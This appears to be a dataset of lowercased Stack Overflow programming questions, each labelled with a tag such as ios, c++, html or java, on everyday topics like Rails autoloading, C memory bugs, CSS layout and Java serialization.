rails auto reloading constants hack  rails  constant auto-reloading is great and really convenient for development. however  i really dislike having to create a new file for very small (e.g.  one-line) top-level classes  just so that rails knows where to look for a const definition.    i skimmed over the code for <code>activesupport::dependencies</code> and came up with the following hack (to be put in an initializer):   <pre><code>module customloader    constmapper = {     # what constants are defined in what files      lib/models.rb  =&gt; [       :person         :affiliation         :namedauthority     ]   }.each_with_object({}) do |(k  vs)  acc|     vs.each { |v| acc[v] = rails.root.join(k).to_s }   end    def const_missing(const_name)     if path = constmapper[const_name]       if activesupport::dependencies.require_or_load(path  const_name)         return const_get(const_name)       end     end     super(const_name)   end  end  object.extend customloader </code></pre>   this seems to be working appropriately. is there anything i am overlooking  is this going to break something  are there any existing workarounds that i have overlooked      it would be nice if <code>as::dependencies</code> had some way to provide a hint about where a const is defined  but as far as i can tell it doesn t have that functionality.    am i the only person that is bothered by this issue,ruby-on-rails
c code retaining chars from prior setting  i ve got a bit of c code that is running in an objective-c application. i snagged this code off the internet.    <pre><code>static void extract_app_name(const char *all_arguments  char **app_name) {     char *full_path  *app_end  *app_begin; //  *app_name_temp;     size_t diff;      if (all_arguments == null || app_name == null) {         return;     }      full_path = (char*)all_arguments + sizeof(int);      app_end = strcasestr(full_path   .app );     if (app_end == null) {         app_begin = strrchr(full_path   / );         if (app_begin != null) {                             *app_name = malloc(app_begin+1);             *app_name = strdup(app_begin+1);         } else {                             *app_name = strdup(full_path);         }     } else {                     app_begin = app_end;         while (*(--app_begin) !=  / ) {}         diff = app_end - app_begin;          char *app_name_temp[diff]; // = malloc(diff);         *app_name_temp = malloc(diff);         *app_name = malloc(diff);         strncpy(*app_name_temp  app_begin+1  diff-1);         app_name_temp[diff]= \0 ;         app_name = strcpy(*app_name  *app_name_temp);     } } </code></pre>   the intent of this code is to extract the application name from a full path. if the application is named with a <code>.app</code> extension  it pulls the name from whatever proceeds the .app.    for example  the following:   <pre><code>extract_app_name( /applications/google chrome.app/contents/versions/16.0.912.63/google chrome helper.app/contents/macos/google chrome helper   &amp;app_name); nslog(@ first app is: %s   app_name);  extract_app_name( /system/library/frameworks/quicklook.framework/resources/quicklookd.app/contents/macos/quicklookd   &amp;app_name); nslog(@ next app is: %s   app_name);  extract_app_name( /system/library/coreservices/dock.app/contents/xpcservices/com.apple.dock.extra.xpc/contents/macos/com.apple.dock.extra   &amp;app_name); nslog(@ next app is: %s   app_name);  extract_app_name( /applications/tiny   &amp;app_name); nslog(@ next app is: %s   app_name); </code></pre>   should output this:   <pre><code>first app is: google chrome next app is: quicklookd next app is: dock next app is: tiny </code></pre>   generally  that s correct. but if i run the app 4-5 times back to back  my output will sometimes not always work out. sometimes the second app which should output <code>quicklookd</code>  will actually dump <code>quicklookdome</code> (it retains part of the first app s name).    i suspect it has to do with the variable not being initialized properly and retaining what s already at that spot in memory. i just don t know c well enough to pin-point it.,c
ios comparing two objects to see if they overlapped in time event  let s say object mevent   it has two fields   <pre><code>     nsdate *start_time;      nsdate *end_time; </code></pre>   event1  event2 are instances of mevent object  how to find out the two instances have overlapping in time     what s the easiest implementation for that,ios
in .net  is there an opposite function to server.htmlencode()   .net s server.htmlencode() is the very helpful function that takes an html string and replaces special characters with their entity equivalents -  &lt;  becomes &amp;lt ; and so forth.    is there a (built-in) function that does the reverse   there doesn t seem to be  and i am incredulous.  while i could certainly write my own (and have in the past) server.htmlencode has all kinds of cool handling for different string encodings and high-level unicode characters that i would really not have crash my hand-rolled decoder in a year s time.    what do other people do when they need the plain html back     update: to answer the first batch of questions  i present the msdn article on the  <a href= http://msdn.microsoft.com/en-us/library/ms525541.aspx  rel= nofollow noreferrer >server object</a>  which has encode but no decode...  i m as amazed as anyone.    update2: as several alert readers have pointed out  the docs i was looking at were for classic asp  not asp.net.  thanks guys  that s an important msdn safety tip.,asp.net
how can i select 1 4 7 10 13 ... numbered records from table <pre><code> id name                        age     deptno     salary </code></pre>  <hr>  <pre><code>  1 shasank                      25         11       2025   2 raju                         27         12       2027   3 son                          33         12       2131   6 bali                         31         10       2031   4 don                          33         11       2132   5 rambo                        32         11       2121   7 dimpu                        33         12       2314   8 chir                         34         10       2123   9 nag                          35         10       2213  10 ram                          28         13       2141 </code></pre>,sql
download in iphone  when i will touch download link in any web page    is iphone downloads that content      if yes then where it will download,iphone
how to get minimum & maximum value in a nsstring/string array  objective-c  i have to get min and max values from string array for example from this array <code>(@ c 1   @ cc 22   @ h 123 )</code>  i want min-value=1 and max-value=123. i got the code from  <a href= https://stackoverflow.com/questions/30324434/how-to-get-minimum-maximum-value-in-a-nsstring-string-array >how to get minimum &amp; maximum value in a nsstring/string array </a>  but unfortunately it is in swift and i don t know swift. i need the same code in objective-c.,objective-c
deserializing a file with arraylist content only shows that 1 element exists  so i load the file in the start of the program  and add any values to it then save it. when i load again  only the first element is shown to exist(size() returns 1) why does it not show new added elements    <pre><code>string name; string desig; string age; static arraylist&lt;person&gt; personarray = new arraylist&lt;person&gt;();  private void savebutton(java.awt.event.actionevent evt) {                                                   person newperson = new person();         name = jtextfield1.gettext();         age = jtextfield2.gettext();         desig = jtextfield3.gettext();           newperson.savedata(name  age  desig);         personarray.add(newperson);          try{            fileoutputstream fileout = new fileoutputstream(system.getproperty( user.dir ) + /info.dat   true);            objectoutputstream out = new objectoutputstream(fileout);            out.writeobject(personarray);            out.close();            fileout.close();            system.out.print( done );         }         catch(ioexception i) {          i.printstacktrace();       }     }       private void loadbutton(java.awt.event.actionevent evt) {                                                  arraylist&lt;person&gt; retrievedlist = null;         try {          fileinputstream filein = new fileinputstream(system.getproperty( user.dir ) + /info.dat );          objectinputstream in = new objectinputstream(filein);          retrievedlist = (arraylist&lt;person&gt;) in.readobject();          in.close();          filein.close();       }catch(ioexception i) {          i.printstacktrace();          return;       }catch(classnotfoundexception c) {          system.out.println( class not found );          c.printstacktrace();          return;       }         person temp = null;         for(int i = 0; i &lt; retrievedlist.size(); i++ ){             temp = retrievedlist.get(i);              jtable1.getmodel().setvalueat(temp.name  i  0);             jtable1.getmodel().setvalueat(temp.age  i  1);             jtable1.getmodel().setvalueat(temp.desig  i  2);         }     public static void main(string args[]) {        personarray = getsavedlist(); // gets the file similar to loadbutton        system.out.print(personarray.size());         try {            file file = new file(system.getproperty( user.dir ) + /info.dat );            if (file.createnewfile()){             system.out.println( file is created! );           }else{             system.out.println( file already exists. );           }          } catch (ioexception e) {           e.printstacktrace();     } </code></pre>,java
how to show icon to small opened web page title  i have added icon to small web page but when web page is opened  in address bar  icon is not displayed.   <pre><code>&lt;head&gt;   &lt;link rel= icon  type= image/png  href= document_graph.ico  sizes= 128x128  /&gt; &lt;/head&gt; </code></pre>   main web page:   <pre><code>        &lt;div class= button  id= edit  align= right  name= edit  value= popupcenter  onclick= popupcenter( http://localhost/chart.php   xtf   1000   600 ); &gt;show performance comparison&lt;/div&gt; </code></pre>   right now  no icon is displayed when small web page is opened after hit button but if opened small web page with address copy-paste  it is displayed in ie but not in chrome.,html
why are people exporting and then importing every single function in javascript   i am trying to find where / understand why people are exporting every single function individually in javascript files     <a href= https://github.com/chriso/validator.js/blob/master/src/index.js  rel= nofollow >https://github.com/chriso/validator.js/blob/master/src/index.js</a>   <pre><code>const version =  5.4.0 ;  import todate from  ./lib/todate ; import tofloat from  ./lib/tofloat ; import toint from  ./lib/toint ; import toboolean from  ./lib/toboolean ; import equals from  ./lib/equals ; import contains from  ./lib/contains ; import matches from  ./lib/matches ;  import isemail from  ./lib/isemail ; import isurl from  ./lib/isurl ; import ismacaddress from  ./lib/ismacaddress ; import isip from  ./lib/isip ; import isfqdn from  ./lib/isfqdn ;  import isboolean from  ./lib/isboolean ;  import isalpha from  ./lib/isalpha ; import isalphanumeric from  ./lib/isalphanumeric ; import isnumeric from  ./lib/isnumeric ; import islowercase from  ./lib/islowercase ; import isuppercase from  ./lib/isuppercase ;  import isascii from  ./lib/isascii ; import isfullwidth from  ./lib/isfullwidth ; import ishalfwidth from  ./lib/ishalfwidth ; import isvariablewidth from  ./lib/isvariablewidth ; import ismultibyte from  ./lib/ismultibyte ; import issurrogatepair from  ./lib/issurrogatepair ;  import isint from  ./lib/isint ; import isfloat from  ./lib/isfloat ; import isdecimal from  ./lib/isdecimal ; import ishexadecimal from  ./lib/ishexadecimal ; import isdivisibleby from  ./lib/isdivisibleby ;  import ishexcolor from  ./lib/ishexcolor ;  import isjson from  ./lib/isjson ; import isnull from  ./lib/isnull ;  import islength from  ./lib/islength ; import isbytelength from  ./lib/isbytelength ;  import isuuid from  ./lib/isuuid ; import ismongoid from  ./lib/ismongoid ;  import isdate from  ./lib/isdate ; import isafter from  ./lib/isafter ; import isbefore from  ./lib/isbefore ;  import isin from  ./lib/isin ;  import iscreditcard from  ./lib/iscreditcard ;  import isisin from  ./lib/isisin ; import isisbn from  ./lib/isisbn ;  import ismobilephone from  ./lib/ismobilephone ;  import iscurrency from  ./lib/iscurrency ;  import isiso8601 from  ./lib/isiso8601 ;  import isbase64 from  ./lib/isbase64 ; import isdatauri from  ./lib/isdatauri ;  import ltrim from  ./lib/ltrim ; import rtrim from  ./lib/rtrim ; import trim from  ./lib/trim ; import escape from  ./lib/escape ; import unescape from  ./lib/unescape ; import striplow from  ./lib/striplow ; import whitelist from  ./lib/whitelist ; import blacklist from  ./lib/blacklist ; import iswhitelisted from  ./lib/iswhitelisted ;  import normalizeemail from  ./lib/normalizeemail ;  import tostring from  ./lib/util/tostring ;  const validator = {   version    todate    tofloat  toint    toboolean    equals  contains  matches    isemail  isurl  ismacaddress  isip  isfqdn    isboolean    isalpha  isalphanumeric  isnumeric  islowercase  isuppercase    isascii  isfullwidth  ishalfwidth  isvariablewidth    ismultibyte  issurrogatepair    isint  isfloat  isdecimal  ishexadecimal  isdivisibleby    ishexcolor    isjson    isnull    islength  isbytelength    isuuid  ismongoid    isdate  isafter  isbefore    isin    iscreditcard    isisin  isisbn    ismobilephone    iscurrency    isiso8601    isbase64  isdatauri    ltrim  rtrim  trim    escape  unescape  striplow    whitelist  blacklist    iswhitelisted    normalizeemail    tostring  };  export default validator; </code></pre>   <a href= https://github.com/chriso/validator.js/blob/master/src/lib/isboolean.js  rel= nofollow >https://github.com/chriso/validator.js/blob/master/src/lib/isboolean.js</a>   <pre><code>import assertstring from  ./util/assertstring ;  export default function isboolean(str) {   assertstring(str);   return ([ true    false    1    0 ].indexof(str) &gt;= 0); } </code></pre>   is this considered more maintainable  or what is this purpose,javascript
<a> inside   — it s a good practice in text cases   <strong>(✘)</strong> i think this is wrong:   <pre><code>&lt;ul&gt;     &lt;li&gt;hello!&lt;/li&gt; &lt;/ul&gt; </code></pre>   <strong>(✔)</strong> and this is correct:   <pre><code>&lt;ul&gt;     &lt;li&gt;&lt;p&gt;hello!&lt;/p&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>   but i don t know if this:   <pre><code>&lt;ul&gt;     &lt;li&gt;&lt;p&gt;&lt;a href= # &gt;hello!&lt;/a&gt;&lt;/p&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>   is more correct than this:   <pre><code>&lt;ul&gt;     &lt;li&gt;&lt;a href= # &gt;hello!&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>  <h2>my philosophy</h2>   i don t feel consistency when i work with texts outside <code>&lt;p&gt;</code> or <code>&lt;h1|h2|h3|h4|h5|h6&gt;</code>. i think that html is father of three types of text: <strong>headers</strong>  <strong>paragraphs</strong> &amp; <strong>tips</strong>. for me  every text outside this pattern is wrong.    i m here and now to know if it is <strong>really wrong</strong>. it is    <h2>too abroad </h2>   sorry — i doesn t know another place better than so for make this kind of question.   <h2>technically speaking...</h2>   yes  i know that technically either way will work.,html
css layout  use css to reorder divs  given that the html   <pre><code>&lt;div&gt;    &lt;div id= content1 &gt; content 1&lt;/div&gt;    &lt;div id= content2 &gt; content 2&lt;/div&gt;    &lt;div id= content3 &gt; content 3&lt;/div&gt; &lt;/div&gt; </code></pre>   render as    <pre><code>content 1 content 2 content 3 </code></pre>   my question:     is there a way to render it as below by using css only without changing the html part.   <pre><code>content 1 content 3 content 2 </code></pre>,css
how do i pass a python string to linux command line  <pre><code>import time start_time = time.time() for i in range (0  10000):     print( openssl rsautl -encrypt -pubin -inkey public.pem -in message.txt -out message_enc.txt ) print( --- %s seconds ---  % (time.time() - start_time)) </code></pre>   i want to pass the string within the print method to the linux command line and run it to get the average encryption time of rsa. i can not seem to figure out how to do this though. i could only find out how to pass arguments from the command line into a python script.,python
ios get an array inside ns(mutable)dictionary  i am trying to get an array inside a nsmutabledictionary that looks like this:   <pre><code>{ coments =     ( );  foto_user  =  &lt;null&gt; ; fotos =     (             {         fecha =  2012-08-31 19:44:31 ;         id = 4926;         nombre =  image5773.jpg ;         posicion = 0;         ruta =  img/ ;         tipo = 1;     }              {         fecha =  2012-08-31 19:44:31 ;         id = 4927;         nombre =  image1779.jpg ;         posicion = 0;         ruta =  img/ ;         tipo = 1;     }              {         fecha =  2012-08-31 19:44:31 ;         id = 4928;         nombre =  image5938.jpg ;         posicion = 0;         ruta =  img/ ;         tipo = 1;     }              {         fecha =  2012-08-31 19:44:32 ;         id = 4929;         nombre =  image4424.jpg ;         posicion = 0;         ruta =  img/ ;         tipo = 1;     } );  have_coments  = 0; id = 40505;  id_lugar  =  &lt;null&gt; ;  id_pais  = 28;  id_user  =  &lt;null&gt; ; iso = fr; link =  &lt;null&gt; ; lugar = paris;  nombre_pais  =  france ; root =  http://www.domain.com/ ; tags =     ( ); titulo =  sunset ;  url_share  =  http://www.friktrip.com/experiencia/40505 ; videos =     ( ); } </code></pre>   and i am using this code :   <pre><code>             //get data from dictionary              nsmutablearray *foto = [[nsmutablearray alloc]init];              foto = [onlineobjects objectatindex:1]; </code></pre>   but the  fotoarray   array stay empty trying to get the info from the nsmutablearray.   <pre><code>             //get only the nombre key of the nsmutablearray              nsarray *fotoarray = [foto valueforkey:@ nombre ]; </code></pre>   what is the way to make an array with all objects with the key name  nombre,ios
how to turn-off timer set by <meta> tag  i have set timer for refreshing my page for every 10 sec using meta tag <code>&lt;meta http-equiv= refresh  content= 2;url=http://example.com  /&gt;</code>. but in some case i need to turn that timer off .how i could turn the meta timer,html
casting  c callbacks to objective-c blocks  i ve been reading up on objective-c blocks (e.g. in the <a href= https://developer.apple.com/library/content/documentation/cocoa/conceptual/programmingwithobjectivec/workingwithblocks/workingwithblocks.html  rel= nofollow noreferrer >apple documentation</a>  <a href= http://cutecoder.org/programming/wrapping-style-callbacks-blocks/  rel= nofollow noreferrer >a blog post</a>  and <a href= https://stackoverflow.com/a/3915774/575530 >one</a> or <a href= https://stackoverflow.com/a/19876498/575530 >two</a> or <a href= https://stackoverflow.com/a/9201774/575530 >three</a> stack overflow answers). i want to pass a c / c++ style callback into an objective-c method.    here s my declaration on the c / c++ side   <pre><code>#ifdef __cplusplus extern  c  { #endif      typedef void (*calculation_callback)(int x);     void setcubecallback(int x  calculation_callback callback);  #ifdef __cplusplus } #endif </code></pre>   and in objective-c   <pre><code>@interface iosplugintest : nsobject  typedef void (^calculationhandler)(int x); -(void)cubethisnumber:(int)number andcallbackon:(calculationhandler)callback;  @end </code></pre>   and this is the objective-c implementation   <pre><code>#import  iosplugintest.h   @implementation iosplugintest  -(void)cubethisnumber:(int)number andcallbackon:(calculationhandler)callback {     int result = number * number * number;     if (callback != nil) {         callback(result);     } }  @end </code></pre>   things go wrong in the last bit  the c / c++ implementation   <pre><code>void setcubecallback(int x  calculation_callback callback) {     [[[iosplugintest alloc] init] cubethisnumber:x andcallbackon:callback]; } </code></pre>   which fails to compile with the error   <blockquote>    sending  calculation_callback  (aka  void(*)(int) ) to parameter of incompatible type  calculationhandler  (aka  void(^)(int) )  </blockquote>   those two type descriptions  <code>void(*)(int)</code> and <code>void(^)(int)</code>  look pretty similar to me; what am i missing,objective-c
mysql: remove rows from a group by result if it only grouped 1 row  when selecting data  i m able to show how many rows were grouped from using <code>group by</code> by running:   <pre><code>select id  created  count(id) `count` from table     group by id     limit 0 30 </code></pre>   the <code>count</code> field easily outputs how many rows were affected by the <code>group by</code>. in mysql is it possible to automatically <em>not</em> include any row which only has a <code>count</code> value of <code>1</code>,mysql
how to use this cfftpcreateparsedresourcelisting(function) by mannualy   i am working on get listing of directories from the ftp server in whivh i am using cfftpcreateparsedresourcelisting function.but i wan to use this functions functionalty with out using this function.is it possible if yes then please give me advice.thanks in advance.,iphone
send empty post field in angular form  i know angular do not send empty fields in form post but i want exactly opposite of that. if a field is exist in form html then that field must be posted doesn t matter if its blank or have some data so that i can get that field in my function .   <pre><code> &lt;input type= hidden  class= form-control  ng-model= formdata.field_name]  ng-trim= false /&gt;  </code></pre>,angularjs
calling of one controller from another  while loading i am calling one controller  however i am using <code>ng-include</code> to import another html page in the main html page.    i want to call <code>ng-controller</code> of included page.(how to call a child controller from a parent controller using <code>ng-init</code>),angularjs
why can t i use std::begin/std::end with int(*p)[3] while i can with int(&p)[3]   this works:   <pre><code>void foo(int (&amp;a)[3]) {     auto ibegin = begin(a);     auto ebegin = end(a); } </code></pre>   while this doesn t:   <pre><code>void foo(int (*a)[3]) {     auto ibegin = begin(a);     auto ebegin = end(a); } </code></pre>   i consider <code>int (&amp;a)[3]</code> and <code>int (*a)[3]</code> have the same meaning!,c++
why cannot i return string in c++ <pre><code>int convertword(string data  string type){     int length=data.length();     if(type== input ){         for(int a=0; a&lt;length; a++){             if (data[a]==   ){                 data[a]= _ ;             }         }     }     if(type== output ){         for(int a=0; a&lt;length; a++){             if (data[a]== _ ){                 data[a]=   ;             }         }     }     return data; } </code></pre>   i got <code>cannot convert std::string to int in return</code> error message.,c++
css percentage width and percentage padding error in all broswers   look at this example:    <a href= http://jsfiddle.net/nvcode/bngyu/2/  rel= nofollow >http://jsfiddle.net/nvcode/bngyu/2/</a>    now it is clearly obvious that the browser can work out the width correctly as the first div is fully filled but on the second div i place a width of 98% and 1% padding either side  making a total of 100%.    the browser knows that 100% is full width of the parent  so why is the child div not fill the space of the parent     even if you change the value of the widths it breaks even more,css
how do i loop through the string and find out how many words are there   i need help with my problem:    right now i have a wpf application with a form that includes a button and a textbox.    also  i have an open file directory - that opens .cs and .txt files.    i need to loop through the string of those files and display the most common words in them  starting from the largest to the smallest.    for example  a string would be:    <blockquote>     the sun is bright. the sun is yellow .  </blockquote>   would return:    <blockquote>    the = 2;        sun = 2;        is = 2;        bright = 1;        yellow = 1;  </blockquote>   my code right as of now:   <pre><code>private void btn1_click(object sender  routedeventargs e)     {         openfiledialog ofd = new openfiledialog() { filter =  text documents |*.cs;*.txt   validatenames = true  multiselect = false };         if (ofd.showdialog() == true)             rtb.text = file.readalltext(ofd.filename);          string[] usertext = rtb.text.tolower().split(new char[] {            =    +    }    {    \r    \n    (    )    ;  }  stringsplitoptions.removeemptyentries);          var frequencies = new dictionary&lt;string  int&gt;();          foreach (string word in usertext) //search words in our array usertext that we declared at the beginning.         {          }    } </code></pre>   i am not sure how to continue from here... help is appreciated.,c#
creating a variable length 2-d arrays in ios  normall  a fixed 2-d arrays in xcode would be like this   <pre><code>   nsmutablearray * mybig2darray = [[nsmutablearray alloc] init];     // first internal array  nsmutablearray * internalelement = [[[nsmutablearray alloc] init] autorelease];  [internalelement addobject:@ first - first ];  [internalelement addobject:@ first - second ];  [mybig2darray addobject:internalelement];      // second internal array     internalelement = [[[nsmutablearray alloc] init] autorelease];     [internalelement addobject:@ second - first ];     [internalelement addobject:@ second - second ];     [mybig2darray addobject:internalelement]; </code></pre>   but how do i create variable length 2d array  i don t the length of each indiviudal array and i don t know how many totoal internal arrays i needed. it s all based on the need    so how do i create that     oh one more thing  i need to be able to address individual internal arrays  internal1  internal2  ...etc like that.  because each one holds a set of elements that share certain commonalities.  i don t want to pile everything inside the big array.,ios
c++ unexpected memory error  i ve problem with easy c++ program which finds the largest submatrix in given matrix:    <pre><code>int *a = new int[n*m]; ... setting fields for matrix  finding the largest one and etc ... r := size of square-submatrix  max_i := row  max_j := column of the largest for (i = max_i; i &lt; max_i + r; i++) {     for (j = max_j; j &lt; max_j + r; j++)         cout &lt;&lt; a[i * n + j] &lt;&lt;  \t ;          cout &lt;&lt;  \n ; }  &lt;memory free&gt; end of program </code></pre>   everything works great (so it s not problem with logic) - finding correct submatrix  prinitng etc.     unexpectedly (or due to late night) when i put in memory free line delete[] a or delete everything crushes down with errors (but it s still printing result correctly - so the error must be in this line). i ve tried set it to null and every combination. what goes wrong     thanks in advance    <strong>edit:</strong>   <pre><code>#include &lt;iostream&gt; #include &lt;cstdlib&gt;  using namespace std;  int main() { int i j k;   int m n;  int r;   cout &lt;&lt;  size of matrix: \nrows:  ; cin &gt;&gt; n; cout &lt;&lt;  columns:  ; cin &gt;&gt; m;  int *a = new int[n*m];  for (i = 0; i &lt; n; i++) {     for (j = 0; j &lt; m; j++)     {         a[n*i + j] = rand() % 19 - 9;         cout &lt;&lt; a[n*i + j] &lt;&lt;  \t ;     }      cout &lt;&lt;  \n ; }   cout &lt;&lt;  size of submatrix:  ; cin &gt;&gt; r;  int liczba_kwadratow = (m + 1 -r) * (n+1 -r);   int max = -10000; int max_i = 0; int max_j = 0;  int row_iter = 0; int col_iter = 0;     for (k = 0; k &lt;liczba_kwadratow; k++) {     int sum = 0;     for ( i = row_iter; i &lt; row_iter + r; i++)         for ( j = col_iter; j &lt; col_iter + r; j++)             sum += a[i * n + j];          if ( sum &gt; max )     {         max = sum;         max_i = row_iter;         max_j = col_iter;     }      col_iter++;     if ( row_iter + r &gt; m )     {         row_iter++;         col_iter = 0;        }  }  cout &lt;&lt;  field of the largest submatrix    &lt;&lt; r &lt;&lt;   of   &lt;&lt; r &lt;&lt;   equals   &lt;&lt; max &lt;&lt;  \n ;  for (i = max_i; i &lt; max_i + r; i++) {     for (j = max_j; j &lt; max_j + r; j++)         cout &lt;&lt; a[i * n + j] &lt;&lt;  \t ;      cout &lt;&lt;  \n ; }  ...works great without delete[] a or delete a  } </code></pre>,c++
how to generate a random string of 6 chars in java  i need to write a constructor which will generate a random 6 length char. i ve used : <code>code=uuid.randomuuid();</code>    and i thought of using :   <pre><code>if (code.length() != 6 ) {  code=uuid.randomuuid();  } </code></pre>   but there is an error which says method lenght() is undefined for type uuid. what else can i do,java
avoid having to put settranslatesautoresizingmaskintoconstraints(false) everywhere  i was wondering  now with auto layout you have to tell every <code>uiview</code> that you don t want to translate its (deprecated) auto-resizing masks to layout constraints like so:   <pre><code>let view = myview() view.settranslatesautoresizingmaskintoconstraints(false) </code></pre>   in my app  i do (almost) all my views with custom constraints so i never want automatic translation of auto-resizing masks. wouldn t it be nice if the default setting for this would be <code>false</code>  so only in situations where i do want translation of auto resizing masks i set it to <code>true</code>     is there a way to make <code>false</code> the default for <code>settranslatesautoresizingmaskintoconstraints</code>  maybe with a clever extension (a.k.a. category) of some sort,ios
html comment with conditional expression  in foundation css they use this at top of html doc as last in a series of conditional browser checks.   <pre><code>&lt;!--[if gt ie 8]&gt;&lt;!--&gt; &lt;html lang= en &gt; &lt;!--&lt;![endif]--&gt; </code></pre>   when ie version is greater than ie 8  what is the equivalent expression    <pre><code>&lt;!--&gt; &lt;html lang= en &gt; &lt;!--       </code></pre>   i take it <code>&lt;!--&gt;</code> is legal syntax for an empty comment     the <code>&lt;!--&lt;![endif]--&gt;</code> block is confusing me.    is the endif evaluated even though it appears to be nested inside a comment     isn t the <code>&lt;![endif]</code> always commented out regardless of ie version  or does ie still evaluate this even though it appears to be inside html comment     i guess i need some help figuring out how this is parsed and how start/end tags are matched.,html
two radio button form  in my site i have 2 parts with radio button. as you can see below  is almost simmilar. but problem is that first work correctly  and second doesn t work. what is reason of that behaviour     part1   <pre><code>&lt;form class= slider__list  action= #  method= get &gt;       &lt;input class= slider__radiobutton  type= radio  name= slider__radiobutton  id= slider__radiobutton_1  value= 1 &gt;       &lt;label for= slider__radiobutton_1 &gt;&lt;/label&gt;       &lt;input class= slider__radiobutton  type= radio  name= slider__radiobutton  id= slider__radiobutton_2  value= 2  checked=  &gt;       &lt;label for= slider__radiobutton_2 &gt;&lt;/label&gt;       &lt;input class= slider__radiobutton  type= radio  name= slider__radiobutton  id= slider__radiobutton_3  value= 3 &gt;       &lt;label for= slider__radiobutton_3 &gt;&lt;/label&gt;       &lt;input class= slider__radiobutton  type= radio  name= slider__radiobutton  id= slider__radiobutton_4  value= 4 &gt;       &lt;label for= slider__radiobutton_4 &gt;&lt;/label&gt;     &lt;/form&gt; </code></pre>   second   <pre><code>&lt;form class= testimonials__list  action= #  method= get &gt;       &lt;input class= testimonials__radiobutton  type= radio  name= testimonials__radiobutton  id= testimonials__radiobutton_1  value= 1 &gt;       &lt;label for= testimonials__radiobutton_1 &gt;&lt;/label&gt;       &lt;input class= testimonials__radiobutton  type= radio  name= testimonials__radiobutton  id= testimonials__radiobutton_2  value= 2  checked=  &gt;       &lt;label for= testimonials__radiobutton_2 &gt;&lt;/label&gt;       &lt;input class= testimonials__radiobutton  type= radio  name= testimonials__radiobutton  id= testimonials__radiobutton_3  value= 3 &gt;       &lt;label for= testimonials__radiobutton_3 &gt;&lt;/label&gt;       &lt;input class= testimonials__radiobutton  type= radio  name= testimonials__radiobutton  id= testimonials__radiobutton_4  value= 4 &gt;       &lt;label for= testimonials__radiobutton_4 &gt;&lt;/label&gt;     &lt;/form&gt; </code></pre>   update: share full code. not add all picture so it not very viewable but 1 radio buttons are below slider and it works  another are below testimonial and it don t work <a href= http://codepen.io/shengofer/pen/wwrpov  rel= nofollow >http://codepen.io/shengofer/pen/wwrpov</a>,html
unable to add footer in a list in android studio  i am new to android programming and sorry if this question is asked before. but i am unable to add footer in my list view  which contains reviews and rating data coming from service. i want only 1 item to be shown and after that a footer to read more should appear.  my code is:   <pre><code>// footer to add         final textview tvreadall = new textview(this);         tvreadall.settextsize(17f);         tvreadall.setgravity(gravity.center_horizontal);         tvreadall.settextcolor(r.drawable.list_selector);         tvreadall.settext( read all reviews );          int limit =1;         for(int length=0;length&lt;limit;length++) {             mlvreviews.getadapter().getitem(1);             mlvreviews.addfooterview(tvreadall);         }          tvreadall.setonclicklistener(new view.onclicklistener() {             @override             public void onclick(view v) {                 utility.setlistviewheightbasedonchildren(mlvreviews);                 tvreadall.setvisibility(view.gone);              }         });          adapter = new userreviewsadapter(prodetailedinfo.this  array);         mlvreviews.setadapter(adapter); </code></pre>   but this footer doesnot show. this is my logcat   <pre><code>  java.lang.nullpointerexception                                                                          at android.sit.findpro.prodetailedinfo.reviewsandratings(prodetailedinfo.java:220)                                                                          at android.sit.findpro.prodetailedinfo.access$600(prodetailedinfo.java:50)                                                                          at android.sit.findpro.prodetailedinfo$1.onresponse(prodetailedinfo.java:117)                                                                          at retrofit.executorcalladapterfactory$executorcallback$1.run(executorcalladapterfactory.java:84)                                                                          at android.os.handler.handlecallback(handler.java:808)                                                                          at android.os.handler.dispatchmessage(handler.java:103)                                                                          at android.os.looper.loop(looper.java:193)                                                                          at android.app.activitythread.main(activitythread.java:5292)                                                                          at java.lang.reflect.method.invokenative(native method)                                                                          at java.lang.reflect.method.invoke(method.java:515)                                                                          at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:824)                                                                          at com.android.internal.os.zygoteinit.main(zygoteinit.java:640)                                                                          at dalvik.system.nativestart.main(native method) </code></pre>,android
linkedin sharing content sharing in ios  how do you share content in linkedin in an ios app,ios
slideup more elements as one element  i am trying to make <code>slideup()</code> table rows as a one element  and another rows as different element.    example - i am having something like this:   <pre><code>&lt;table&gt;   &lt;tr&gt; .. &lt;/tr&gt; &lt;!-- slideup --&gt;   &lt;tr&gt; .. &lt;/tr&gt; &lt;!-- slideup --&gt;   &lt;tr&gt; .. &lt;/tr&gt; &lt;!-- i will click on this --&gt;   &lt;tr&gt; .. &lt;/tr&gt; &lt;!-- slideup --&gt;   &lt;tr&gt; .. &lt;/tr&gt; &lt;!-- slideup --&gt; &lt;/table&gt; </code></pre>   but <strong>i don t want</strong> to slide every row as element  but every rows group as one element    another example: <em>p.s.: i can click on <strong>any div!</strong> after click every div which is behind will act as one element and every div after will act as one element</em>   <pre><code>&lt;div&gt;   &lt;div&gt; .. &lt;/div&gt; &lt;!-- slideup --&gt;   &lt;div&gt; .. &lt;/div&gt; &lt;!-- slideup --&gt;   &lt;div&gt; .. &lt;/div&gt; &lt;!-- i will click on this --&gt;   &lt;div&gt; .. &lt;/div&gt; &lt;!-- slideup --&gt;   &lt;div&gt; .. &lt;/div&gt; &lt;!-- slideup --&gt; &lt;/div&gt; </code></pre>   i want to have it acting like this <strong>(but this is not valid html)</strong>:   <pre><code>&lt;table&gt;    &lt;div class= this-will-slide-up&gt;         &lt;tr&gt; .. &lt;/tr&gt;        &lt;tr&gt; .. &lt;/tr&gt;        &lt;tr&gt; .. &lt;/tr&gt;    &lt;/div&gt;    &lt;div class= i-will-click-on-this&gt;        &lt;tr&gt; .. &lt;/tr&gt;    &lt;/div&gt;    &lt;div class= this-will-slide-up&gt;         &lt;tr&gt; .. &lt;/tr&gt;        &lt;tr&gt; .. &lt;/tr&gt;        &lt;tr&gt; .. &lt;/tr&gt;    &lt;/div&gt; &lt;/table&gt;  &lt;script&gt;    $( i-will-click-on-this ).click(function() {       $( this-will-slide-up ).slideup();    }); &lt;script&gt; </code></pre>   <strong>i need it dynamicaly  not staticaly  so i can t surround elements with something  i can click on any row!!</strong> i am looking for <strong>javascript</strong> solution  not html.    i hope you will understand it :) thank you for any ideas.,jquery
changing top padding in javascript  here s how i set my top padding in my css:   <pre><code>body {     font-size: {{ font_size }}px;     margin: 0;     padding: 100px 0 20px 0;     width:100% !important; } </code></pre>   how do i change the top padding  which is 100px on the example above using the simplest javascript function <strong>without using jquery</strong>,javascript
